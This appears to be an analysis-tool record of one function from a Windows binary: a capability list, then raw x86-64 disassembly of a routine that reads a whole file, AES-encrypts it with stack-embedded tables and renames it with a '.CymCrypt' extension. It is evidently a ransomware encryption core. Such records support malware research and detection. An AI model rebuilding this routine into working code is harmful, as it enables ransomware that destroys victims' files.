Function at 0x1400168f0
Capabilities:
Contain obfuscated stackstrings
Get file size
Move file
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140054028]
xor rax, rsp
mov qword [rbp + 0x1b8], rax
mov r12d, r8d
mov r15, rdx
mov rdi, rcx
mov qword [rbp + 0x190], rcx
xor r13d, r13d
mov qword [rbp + 0x188], r13
mov esi, r13d
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x198], xmm1
mov qword [rbp + 0x1a8], r13
cmp qword [rcx + 0x18], 8
jb 0x140016959
mov rcx, qword [rcx]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x1400169b2
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [0x140055160]
mov r10, qword [rcx]
mov r9d, eax
lea r8d, [rbx + 3]
lea rdx, str.EncryptSingleFile:CreateFile_failed__d
call qword [r10 + 0x10]
jmp 0x14001731d
lea rdx, [rbp + 0x188]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x1400169f9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [0x140055160]
mov rax, qword [rcx]
mov r9d, esi
mov r8d, 2
lea rdx, str.EncryptSingleFile:GetFileSizeEx_failed__d
call qword [rax + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001731d
mov ecx, dword [rbp + 0x188]
call fcn.14001bc6c
mov r14, rax
mov qword [rbp + 0x180], rax
mov qword [rsp + 0x20], r13
lea r9, [rbp + 0x1b0]
mov r8d, dword [rbp + 0x188]
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140016a65
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
mov rcx, qword [0x140055160]
mov r10, qword [rcx]
mov r9d, eax
mov r8d, 2
lea rdx, str.EncryptSingleFile:ReadFile_failed__d
call qword [r10 + 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14001730d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x60], 0xd56a0952
mov dword [rsp + 0x64], 0x38a53630
mov dword [rsp + 0x68], 0x9ea340bf
mov dword [rsp + 0x6c], 0xfbd7f381
mov dword [rsp + 0x70], 0x8239e37c
mov dword [rsp + 0x74], 0x87ff2f9b
mov dword [rsp + 0x78], 0x44438e34
mov dword [rsp + 0x7c], 0xcbe9dec4
mov dword [rbp - 0x80], 0x32947b54
mov dword [rbp - 0x7c], 0x3d23c2a6
mov dword [rbp - 0x78], 0xb954cee
mov dword [rbp - 0x74], 0x4ec3fa42
mov dword [rbp - 0x70], 0x66a12e08
mov dword [rbp - 0x6c], 0xb224d928
mov dword [rbp - 0x68], 0x49a25b76
mov dword [rbp - 0x64], 0x25d18b6d
mov dword [rbp - 0x60], 0x64f6f872
mov dword [rbp - 0x5c], 0x16986886
mov dword [rbp - 0x58], 0xcc5ca4d4
mov dword [rbp - 0x54], 0x92b6655d
mov dword [rbp - 0x50], 0x5048706c
mov dword [rbp - 0x4c], 0xdab9edfd
mov dword [rbp - 0x48], 0x5746155e
mov dword [rbp - 0x44], 0x849d8da7
mov dword [rbp - 0x40], 0xabd890
mov dword [rbp - 0x3c], 0xad3bc8c
mov dword [rbp - 0x38], 0x558e4f7
mov dword [rbp - 0x34], 0x645b3b8
mov dword [rbp - 0x30], 0x8f1e2cd0
mov dword [rbp - 0x2c], 0x20f3fca
mov dword [rbp - 0x28], 0x3bdafc1
mov dword [rbp - 0x24], 0x6b8a1301
mov dword [rbp - 0x20], 0x4111913a
mov dword [rbp - 0x1c], 0xeadc674f
mov dword [rbp - 0x18], 0xcecff297
mov dword [rbp - 0x14], 0x73e6b4f0
mov dword [rbp - 0x10], 0x2274ac96
mov dword [rbp - 0xc], 0x8535ade7
mov dword [rbp - 8], 0xe837f9e2
mov dword [rbp - 4], 0x6edf751c
mov dword [rbp], 0x711af147
mov dword [rbp + 4], 0x89c5291d
mov dword [rbp + 8], 0xe62b76f
mov dword [rbp + 0xc], 0x1bbe18aa
mov dword [rbp + 0x10], 0x4b3e56fc
mov dword [rbp + 0x14], 0x2079d2c6
mov dword [rbp + 0x18], 0xfec0db9a
mov dword [rbp + 0x1c], 0xf45acd78
mov dword [rbp + 0x20], 0x33a8dd1f
mov dword [rbp + 0x24], 0x31c70788
mov dword [rbp + 0x28], 0x591012b1
mov dword [rbp + 0x2c], 0x5fec8027
mov dword [rbp + 0x30], 0xa97f5160
mov dword [rbp + 0x34], 0xd4ab519
mov dword [rbp + 0x38], 0x9f7ae52d
mov dword [rbp + 0x3c], 0xef9cc993
mov dword [rbp + 0x40], 0x4d3be0a0
mov dword [rbp + 0x44], 0xb0f52aae
mov dword [rbp + 0x48], 0x3cbbebc8
mov dword [rbp + 0x4c], 0x61995383
mov dword [rbp + 0x50], 0x7e042b17
mov dword [rbp + 0x54], 0x26d677ba
mov dword [rbp + 0x58], 0x631469e1
mov dword [rbp + 0x5c], 0x7d0c2155
mov dword [rbp + 0x60], 0x7b777c63
mov dword [rbp + 0x64], 0xc56f6bf2
mov dword [rbp + 0x68], 0x2b670130
mov dword [rbp + 0x6c], 0x76abd7fe
mov dword [rbp + 0x70], 0x7dc982ca
mov dword [rbp + 0x74], 0xf04759fa
mov dword [rbp + 0x78], 0xafa2d4ad
mov dword [rbp + 0x7c], 0xc072a49c
mov dword [rbp + 0x80], 0x2693fdb7
mov dword [rbp + 0x84], 0xccf73f36
mov dword [rbp + 0x88], 0xf1e5a534
mov dword [rbp + 0x8c], 0x1531d871
mov dword [rbp + 0x90], 0xc323c704
mov dword [rbp + 0x94], 0x9a059618
mov dword [rbp + 0x98], 0xe2801207
mov dword [rbp + 0x9c], 0x75b227eb
mov dword [rbp + 0xa0], 0x1a2c8309
mov dword [rbp + 0xa4], 0xa05a6e1b
mov dword [rbp + 0xa8], 0xb3d63b52
mov dword [rbp + 0xac], 0x842fe329
mov dword [rbp + 0xb0], 0xed00d153
mov dword [rbp + 0xb4], 0x5bb1fc20
mov dword [rbp + 0xb8], 0x39becb6a
mov dword [rbp + 0xbc], 0xcf584c4a
mov dword [rbp + 0xc0], 0xfbaaefd0
mov dword [rbp + 0xc4], 0x85334d43
mov dword [rbp + 0xc8], 0x7f02f945
mov dword [rbp + 0xcc], 0xa89f3c50
mov dword [rbp + 0xd0], 0x8f40a351
mov dword [rbp + 0xd4], 0xf5389d92
mov dword [rbp + 0xd8], 0x21dab6bc
mov dword [rbp + 0xdc], 0xd2f3ff10
mov dword [rbp + 0xe0], 0xec130ccd
mov dword [rbp + 0xe4], 0x1744975f
mov dword [rbp + 0xe8], 0x3d7ea7c4
mov dword [rbp + 0xec], 0x73195d64
mov dword [rbp + 0xf0], 0xdc4f8160
mov dword [rbp + 0xf4], 0x88902a22
mov dword [rbp + 0xf8], 0x14b8ee46
mov dword [rbp + 0xfc], 0xdb0b5ede
mov dword [rbp + 0x100], 0xa3a32e0
mov dword [rbp + 0x104], 0x5c240649
mov dword [rbp + 0x108], 0x62acd3c2
mov dword [rbp + 0x10c], 0x79e49591
mov dword [rbp + 0x110], 0x6d37c8e7
mov dword [rbp + 0x114], 0xa94ed58d
mov dword [rbp + 0x118], 0xeaf4566c
mov dword [rbp + 0x11c], 0x8ae7a65
mov dword [rbp + 0x120], 0x2e2578ba
mov dword [rbp + 0x124], 0xc6b4a61c
mov dword [rbp + 0x128], 0x1f74dde8
mov dword [rbp + 0x12c], 0x8a8bbd4b
mov dword [rbp + 0x130], 0x66b53e70
mov dword [rbp + 0x134], 0xef60348
mov dword [rbp + 0x138], 0xb9573561
mov dword [rbp + 0x13c], 0x9e1dc186
mov dword [rbp + 0x140], 0x1198f8e1
mov dword [rbp + 0x144], 0x948ed969
mov dword [rbp + 0x148], 0xe9871e9b
mov dword [rbp + 0x14c], 0xdf2855ce
mov dword [rbp + 0x150], 0xd89a18c
mov dword [rbp + 0x154], 0x6842e6bf
mov dword [rbp + 0x158], 0xf2d9941
mov dword [rbp + 0x15c], 0x16bb54b0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r13
mov ecx, 0x100
call fcn.14001bc28
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
lea rbx, [rax + 0x100]
mov qword [rsp + 0x50], rbx
mov r8d, 0x100
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.14001d930
mov qword [rsp + 0x48], rbx
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], r13
mov ecx, 0x100
call fcn.14001bc28
mov qword [rbp + 0x168], rax
mov qword [rbp + 0x170], rax
lea rbx, [rax + 0x100]
mov qword [rbp + 0x178], rbx
mov r8d, 0x100
lea rdx, [rbp + 0x60]
mov rcx, rax
call fcn.14001d930
mov qword [rbp + 0x170], rbx
mov r9d, dword [rbp + 0x188]
mov rdx, r12
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x168]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x198]
mov qword [rsp + 0x20], rax
mov r8, r14
mov rcx, r15
call fcn.140010360
nop
mov rcx, qword [rbp + 0x168]
test rcx, rcx
je 0x140016fbf
mov rdx, qword [rbp + 0x178]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016fa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400173a5
call fcn.14001bc64
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x168], xmm0
mov qword [rbp + 0x178], r13
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140016ffb
mov rdx, qword [rsp + 0x50]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140016ff6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400173ab
call fcn.14001bc64
mov r15, qword [rbp + 0x1a0]
sub r15, qword [rbp + 0x198]
test r15d, r15d
je 0x1400172f3
mov ecx, r15d
call fcn.14001bc6c
mov r13, rax
mov r8, qword [rbp + 0x1a0]
mov rdx, qword [rbp + 0x198]
sub r8, rdx
mov rcx, rax
call fcn.14001d930
test r13, r13
je 0x1400172f3
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
mov r12, rdi
cmp qword [rdi + 0x18], 8
jb 0x140017060
mov r12, qword [rdi]
mov r14, qword [rdi + 0x10]
movabs rax, 0x7ffffffffffffffe
cmp r14, rax
ja 0x1400173b1
mov ecx, 0xa
mov ebx, 7
mov qword [rsp + 0x58], rbx
cmp r14, 8
jae 0x14001709d
mov qword [rsp + 0x50], r14
movups xmm0, xmmword [r12]
movups xmmword [rsp + 0x40], xmm0
jmp 0x1400170e4
mov rsi, r14
or rsi, rbx
cmp rsi, rax
jbe 0x1400170ad
mov rsi, rax
jmp 0x1400170b4
cmp rsi, rcx
cmovb rsi, rcx
lea rdx, [rsi + 1]
lea rcx, [rsp + 0x40]
call fcn.140003c80
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], rsi
lea r8, [r14*2 + 2]
mov rdx, r12
mov rcx, rax
call fcn.14001d930
mov r8d, r15d
mov rdx, r13
lea rcx, [rsp + 0x40]
call fcn.140018420
mov esi, eax
test eax, eax
je 0x14001712b
mov rcx, qword [0x140055160]
mov rax, qword [rcx]
mov r9d, esi
mov r8d, 2
lea rdx, str.EncryptSingleFile:Write_failed__d
call qword [rax + 0x10]
mov rcx, r13
call fcn.14001bc64
mov r14, qword [rbp + 0x180]
jmp 0x14001730d
mov r12, qword [rdi + 0x10]
movabs rcx, 0x7ffffffffffffffe
mov rax, rcx
sub rax, r12
cmp rax, 9
jb 0x1400173b7
mov qword [rbp + 0x160], rdi
cmp qword [rdi + 0x18], 8
jb 0x140017161
mov rax, qword [rdi]
mov qword [rbp + 0x160], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r15, [r12 + 9]
lea r14, [rsp + 0x40]
cmp r15, 7
jbe 0x140017218
mov rbx, r15
or rbx, 7
cmp rbx, rcx
jbe 0x1400171a5
mov rbx, rcx
movabs rax, 0x7fffffffffffffff
lea rcx, [rax + rax]
jmp 0x1400171d5
cmp rbx, 0xa
mov eax, 0xa
cmovb rbx, rax
lea rcx, [rbx + 1]
movabs rax, 0x7fffffffffffffff
cmp rcx, rax
ja 0x1400173c3
add rcx, rcx
cmp rcx, 0x1000
jb 0x140017201
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x1400173c3
mov rcx, rax
call fcn.14001bc28
test rax, rax
je 0x1400173bd
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x140017213
test rcx, rcx
je 0x140017210
call fcn.14001bc28
mov r14, rax
jmp 0x140017213
xor r14d, r14d
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x50], r15
mov qword [rsp + 0x58], rbx
lea rbx, [r12 + r12]
mov r8, rbx
mov rdx, qword [rbp + 0x160]
mov rcx, r14
call fcn.14001d930
movups xmm0, xmmword [str..CymCrypt]
movups xmmword [rbx + r14], xmm0
movzx eax, word [0x140040738]
mov word [rbx + r14 + 0x10], ax
xor eax, eax
mov word [r14 + r15*2], ax
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 8
cmovae rdx, qword [rsp + 0x40]
mov rcx, rdi
cmp qword [rdi + 0x18], 8
jb 0x140017276
mov rcx, qword [rdi]
call fcn.140022998
mov ebx, eax
mov rdx, qword [rsp + 0x58]
cmp rdx, 8
jb 0x1400172bf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400172ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400173bd
call fcn.14001bc64
test ebx, ebx
je 0x1400172e2
mov rcx, qword [0x140055160]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Could_not_rename_encrypted_version
call qword [rax + 0x10]
mov esi, 0x57
mov rcx, r13
call fcn.14001bc64
mov r14, qword [rbp + 0x180]
jmp 0x14001730d
mov rcx, qword [0x140055160]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.EncryptSingleFile:AESEncrypt_failed
call qword [rax + 0x10]
test r14, r14
je 0x14001731a
mov rcx, r14
call fcn.14001bc64
xor r13d, r13d
mov rcx, qword [rbp + 0x198]
test rcx, rcx
je 0x14001736b
mov rdx, qword [rbp + 0x1a8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017354
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001739f
call fcn.14001bc64
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x198], xmm0
mov qword [rbp + 0x1a8], r13
mov rcx, rdi
call fcn.140003b70
mov eax, esi
mov rcx, qword [rbp + 0x1b8]
xor rcx, rsp
call fcn.14001bfd0
mov rbx, qword [rsp + 0x318]
add rsp, 0x2c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.140022684
nop
call fcn.140022684
nop
call fcn.140022684
int3
call fcn.1400034f0
int3
call fcn.1400034f0
int3
call fcn.140022684
int3
call fcn.140003450
int3